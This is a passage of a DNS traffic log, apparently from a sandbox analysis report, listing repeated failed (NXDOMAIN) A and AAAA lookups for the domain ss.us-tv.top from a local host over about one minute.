Nov 2, 2024 03:57:39.407109022 CET	1.1.1.1	192.168.2.15	0x7cb6	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:39.632251024 CET	1.1.1.1	192.168.2.15	0xb46b	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:39.639467001 CET	1.1.1.1	192.168.2.15	0xb46b	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:40.658188105 CET	1.1.1.1	192.168.2.15	0xb451	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:40.664802074 CET	1.1.1.1	192.168.2.15	0xb451	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:40.747391939 CET	1.1.1.1	192.168.2.15	0xe138	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:40.754430056 CET	1.1.1.1	192.168.2.15	0xe138	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:41.771990061 CET	1.1.1.1	192.168.2.15	0x5162	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:41.772917032 CET	1.1.1.1	192.168.2.15	0xdecc	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:41.778870106 CET	1.1.1.1	192.168.2.15	0x5162	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:41.779834032 CET	1.1.1.1	192.168.2.15	0xdecc	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:42.802337885 CET	1.1.1.1	192.168.2.15	0x5230	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:42.811177969 CET	1.1.1.1	192.168.2.15	0x5230	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:43.110562086 CET	1.1.1.1	192.168.2.15	0x65ec	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:43.117269039 CET	1.1.1.1	192.168.2.15	0x65ec	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:44.137492895 CET	1.1.1.1	192.168.2.15	0x27cd	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:44.137506008 CET	1.1.1.1	192.168.2.15	0x94fd	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:44.144813061 CET	1.1.1.1	192.168.2.15	0x94fd	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:44.144825935 CET	1.1.1.1	192.168.2.15	0x27cd	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:45.160377979 CET	1.1.1.1	192.168.2.15	0xe3aa	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:45.166870117 CET	1.1.1.1	192.168.2.15	0xe3aa	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:45.469713926 CET	1.1.1.1	192.168.2.15	0x1ce5	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:45.603444099 CET	1.1.1.1	192.168.2.15	0x1ce5	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:46.618721008 CET	1.1.1.1	192.168.2.15	0x43d5	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:46.625422001 CET	1.1.1.1	192.168.2.15	0x43d5	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:46.703022957 CET	1.1.1.1	192.168.2.15	0xcb92	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:47.078172922 CET	1.1.1.1	192.168.2.15	0xcb92	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:48.093976021 CET	1.1.1.1	192.168.2.15	0x182b	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:48.096657991 CET	1.1.1.1	192.168.2.15	0x274f	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:48.100820065 CET	1.1.1.1	192.168.2.15	0x182b	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:48.103204012 CET	1.1.1.1	192.168.2.15	0x274f	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:49.202228069 CET	1.1.1.1	192.168.2.15	0x3e06	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:49.209252119 CET	1.1.1.1	192.168.2.15	0x3e06	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:49.440593958 CET	1.1.1.1	192.168.2.15	0x4d8	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:49.448122025 CET	1.1.1.1	192.168.2.15	0x4d8	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:50.464117050 CET	1.1.1.1	192.168.2.15	0x4905	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:50.466552019 CET	1.1.1.1	192.168.2.15	0x4f45	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:50.470810890 CET	1.1.1.1	192.168.2.15	0x4905	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:50.473315954 CET	1.1.1.1	192.168.2.15	0x4f45	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:51.495332956 CET	1.1.1.1	192.168.2.15	0x6ddd	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:51.502306938 CET	1.1.1.1	192.168.2.15	0x6ddd	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:51.577939987 CET	1.1.1.1	192.168.2.15	0xcd2a	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:51.710535049 CET	1.1.1.1	192.168.2.15	0xcd2a	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:52.728192091 CET	1.1.1.1	192.168.2.15	0xe792	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:52.734924078 CET	1.1.1.1	192.168.2.15	0xe792	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:52.809922934 CET	1.1.1.1	192.168.2.15	0x7cca	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:52.817050934 CET	1.1.1.1	192.168.2.15	0x7cca	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:53.832505941 CET	1.1.1.1	192.168.2.15	0x2e3d	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:53.838504076 CET	1.1.1.1	192.168.2.15	0x76e4	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:53.841365099 CET	1.1.1.1	192.168.2.15	0x2e3d	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:53.845678091 CET	1.1.1.1	192.168.2.15	0x76e4	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:54.861190081 CET	1.1.1.1	192.168.2.15	0xeaf	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:54.861299992 CET	1.1.1.1	192.168.2.15	0x8265	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:54.870816946 CET	1.1.1.1	192.168.2.15	0xeaf	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:54.870826960 CET	1.1.1.1	192.168.2.15	0x8265	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:55.886590004 CET	1.1.1.1	192.168.2.15	0x1dcb	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:55.893564939 CET	1.1.1.1	192.168.2.15	0x1dcb	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:56.117176056 CET	1.1.1.1	192.168.2.15	0x211d	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:56.123959064 CET	1.1.1.1	192.168.2.15	0x211d	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:57.138578892 CET	1.1.1.1	192.168.2.15	0xed04	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:57.272608995 CET	1.1.1.1	192.168.2.15	0xed04	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:57.670908928 CET	1.1.1.1	192.168.2.15	0xa5a	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:57.677870035 CET	1.1.1.1	192.168.2.15	0xa5a	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:58.697305918 CET	1.1.1.1	192.168.2.15	0x8701	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:58.704165936 CET	1.1.1.1	192.168.2.15	0x8701	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:57:59.019510031 CET	1.1.1.1	192.168.2.15	0x486a	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:57:59.026457071 CET	1.1.1.1	192.168.2.15	0x486a	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:00.045830011 CET	1.1.1.1	192.168.2.15	0x6c52	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:00.052692890 CET	1.1.1.1	192.168.2.15	0x6c52	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:00.127178907 CET	1.1.1.1	192.168.2.15	0x95b7	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:00.133989096 CET	1.1.1.1	192.168.2.15	0x95b7	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:01.150468111 CET	1.1.1.1	192.168.2.15	0x1cdb	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:01.153907061 CET	1.1.1.1	192.168.2.15	0x741	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:01.157103062 CET	1.1.1.1	192.168.2.15	0x1cdb	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:01.160674095 CET	1.1.1.1	192.168.2.15	0x741	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:02.259136915 CET	1.1.1.1	192.168.2.15	0x22b2	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:02.266078949 CET	1.1.1.1	192.168.2.15	0x22b2	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:02.488848925 CET	1.1.1.1	192.168.2.15	0x268f	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:02.495760918 CET	1.1.1.1	192.168.2.15	0x268f	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:03.520497084 CET	1.1.1.1	192.168.2.15	0x7a95	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:03.527431965 CET	1.1.1.1	192.168.2.15	0x7a95	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:03.609438896 CET	1.1.1.1	192.168.2.15	0xde7f	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:03.616332054 CET	1.1.1.1	192.168.2.15	0xde7f	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:04.632683992 CET	1.1.1.1	192.168.2.15	0x3cb0	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:04.633202076 CET	1.1.1.1	192.168.2.15	0x9352	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:04.639272928 CET	1.1.1.1	192.168.2.15	0x3cb0	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:04.766351938 CET	1.1.1.1	192.168.2.15	0x9352	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:05.779405117 CET	1.1.1.1	192.168.2.15	0x5796	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:05.786007881 CET	1.1.1.1	192.168.2.15	0x5796	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:05.989674091 CET	1.1.1.1	192.168.2.15	0x7dd7	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:06.123567104 CET	1.1.1.1	192.168.2.15	0x7dd7	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:07.138030052 CET	1.1.1.1	192.168.2.15	0x6390	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:07.144906998 CET	1.1.1.1	192.168.2.15	0x6390	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:07.222332001 CET	1.1.1.1	192.168.2.15	0x6ce	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:07.229065895 CET	1.1.1.1	192.168.2.15	0x6ce	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:08.244509935 CET	1.1.1.1	192.168.2.15	0x787	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:08.247072935 CET	1.1.1.1	192.168.2.15	0x453b	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:08.251321077 CET	1.1.1.1	192.168.2.15	0x787	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:08.253632069 CET	1.1.1.1	192.168.2.15	0x453b	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:09.267980099 CET	1.1.1.1	192.168.2.15	0x2c40	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:09.267992973 CET	1.1.1.1	192.168.2.15	0xa85a	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:09.274665117 CET	1.1.1.1	192.168.2.15	0x2c40	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:09.400352955 CET	1.1.1.1	192.168.2.15	0xa85a	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:10.415673018 CET	1.1.1.1	192.168.2.15	0x6dc7	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:10.548708916 CET	1.1.1.1	192.168.2.15	0x6dc7	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:10.719634056 CET	1.1.1.1	192.168.2.15	0x4899	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:10.726921082 CET	1.1.1.1	192.168.2.15	0x4899	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:11.746012926 CET	1.1.1.1	192.168.2.15	0xbd9d	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:11.746802092 CET	1.1.1.1	192.168.2.15	0xc1dd	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:11.752737045 CET	1.1.1.1	192.168.2.15	0xbd9d	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:11.753650904 CET	1.1.1.1	192.168.2.15	0xc1dd	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:12.768665075 CET	1.1.1.1	192.168.2.15	0xd932	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:12.772198915 CET	1.1.1.1	192.168.2.15	0xa793	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:12.775538921 CET	1.1.1.1	192.168.2.15	0xd932	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:12.778721094 CET	1.1.1.1	192.168.2.15	0xa793	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:13.792639017 CET	1.1.1.1	192.168.2.15	0x171	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:13.794490099 CET	1.1.1.1	192.168.2.15	0xa893	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:13.799180984 CET	1.1.1.1	192.168.2.15	0x171	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:13.801392078 CET	1.1.1.1	192.168.2.15	0xa893	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:14.816225052 CET	1.1.1.1	192.168.2.15	0xa0bc	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:14.823566914 CET	1.1.1.1	192.168.2.15	0xa0bc	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:15.126746893 CET	1.1.1.1	192.168.2.15	0x2f7c	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:15.134362936 CET	1.1.1.1	192.168.2.15	0x2f7c	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:16.153122902 CET	1.1.1.1	192.168.2.15	0xa8ca	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:16.156158924 CET	1.1.1.1	192.168.2.15	0x6f0e	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:16.162754059 CET	1.1.1.1	192.168.2.15	0x6f0e	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:16.285422087 CET	1.1.1.1	192.168.2.15	0xa8ca	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:17.301700115 CET	1.1.1.1	192.168.2.15	0xde74	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:17.301958084 CET	1.1.1.1	192.168.2.15	0xa698	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:17.308480024 CET	1.1.1.1	192.168.2.15	0xde74	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:17.308501959 CET	1.1.1.1	192.168.2.15	0xa698	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:18.324542046 CET	1.1.1.1	192.168.2.15	0x4be6	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:18.325555086 CET	1.1.1.1	192.168.2.15	0x56d1	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:18.331267118 CET	1.1.1.1	192.168.2.15	0x4be6	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:18.332056999 CET	1.1.1.1	192.168.2.15	0x56d1	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:19.345935106 CET	1.1.1.1	192.168.2.15	0xdbcf	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:19.352709055 CET	1.1.1.1	192.168.2.15	0xdbcf	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:19.641587019 CET	1.1.1.1	192.168.2.15	0xf1f	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:19.773889065 CET	1.1.1.1	192.168.2.15	0xf1f	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:20.789077997 CET	1.1.1.1	192.168.2.15	0xb221	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:20.790250063 CET	1.1.1.1	192.168.2.15	0xdf69	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:20.795924902 CET	1.1.1.1	192.168.2.15	0xb221	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:20.798593044 CET	1.1.1.1	192.168.2.15	0xdf69	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:21.815041065 CET	1.1.1.1	192.168.2.15	0x1bc	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:21.816013098 CET	1.1.1.1	192.168.2.15	0x5223	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:21.821598053 CET	1.1.1.1	192.168.2.15	0x1bc	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:21.822592974 CET	1.1.1.1	192.168.2.15	0x5223	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:22.838069916 CET	1.1.1.1	192.168.2.15	0x36c2	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:22.838884115 CET	1.1.1.1	192.168.2.15	0x16ad	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:22.844896078 CET	1.1.1.1	192.168.2.15	0x36c2	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:22.845419884 CET	1.1.1.1	192.168.2.15	0x16ad	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:23.863059044 CET	1.1.1.1	192.168.2.15	0xafd8	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:23.864772081 CET	1.1.1.1	192.168.2.15	0x45e3	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:23.869837999 CET	1.1.1.1	192.168.2.15	0xafd8	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:23.871421099 CET	1.1.1.1	192.168.2.15	0x45e3	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:25.118645906 CET	1.1.1.1	192.168.2.15	0xde71	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:25.125559092 CET	1.1.1.1	192.168.2.15	0xde71	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:25.189860106 CET	1.1.1.1	192.168.2.15	0x8c4	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:25.196779013 CET	1.1.1.1	192.168.2.15	0x8c4	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:26.216495037 CET	1.1.1.1	192.168.2.15	0x817e	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:26.216852903 CET	1.1.1.1	192.168.2.15	0x760b	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:26.223860025 CET	1.1.1.1	192.168.2.15	0x817e	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:26.223870039 CET	1.1.1.1	192.168.2.15	0x760b	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:27.245409966 CET	1.1.1.1	192.168.2.15	0x1267	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:27.252135992 CET	1.1.1.1	192.168.2.15	0x1267	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:27.557904005 CET	1.1.1.1	192.168.2.15	0x3ed1	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:27.691529036 CET	1.1.1.1	192.168.2.15	0x3ed1	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:28.707631111 CET	1.1.1.1	192.168.2.15	0xa38	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:28.709747076 CET	1.1.1.1	192.168.2.15	0xb5b5	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:28.714207888 CET	1.1.1.1	192.168.2.15	0xa38	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:28.716387987 CET	1.1.1.1	192.168.2.15	0xb5b5	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:29.733078957 CET	1.1.1.1	192.168.2.15	0xa180	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:29.736316919 CET	1.1.1.1	192.168.2.15	0xb085	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:29.739682913 CET	1.1.1.1	192.168.2.15	0xa180	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:29.742914915 CET	1.1.1.1	192.168.2.15	0xb085	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:30.760523081 CET	1.1.1.1	192.168.2.15	0xd26e	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:30.762470961 CET	1.1.1.1	192.168.2.15	0xedb5	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:30.767811060 CET	1.1.1.1	192.168.2.15	0xd26e	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:30.769097090 CET	1.1.1.1	192.168.2.15	0xedb5	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:31.785337925 CET	1.1.1.1	192.168.2.15	0xd4c	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:31.786577940 CET	1.1.1.1	192.168.2.15	0xaa39	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:31.791883945 CET	1.1.1.1	192.168.2.15	0xd4c	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
Nov 2, 2024 03:58:31.792932987 CET	1.1.1.1	192.168.2.15	0xaa39	Name error (3)	ss.us-tv.top	none	none	28	IN (0x0001)	false
Nov 2, 2024 03:58:32.809969902 CET	1.1.1.1	192.168.2.15	0x64d6	Name error (3)	ss.us-tv.top	none	none	A (IP address)	IN (0x0001)	false
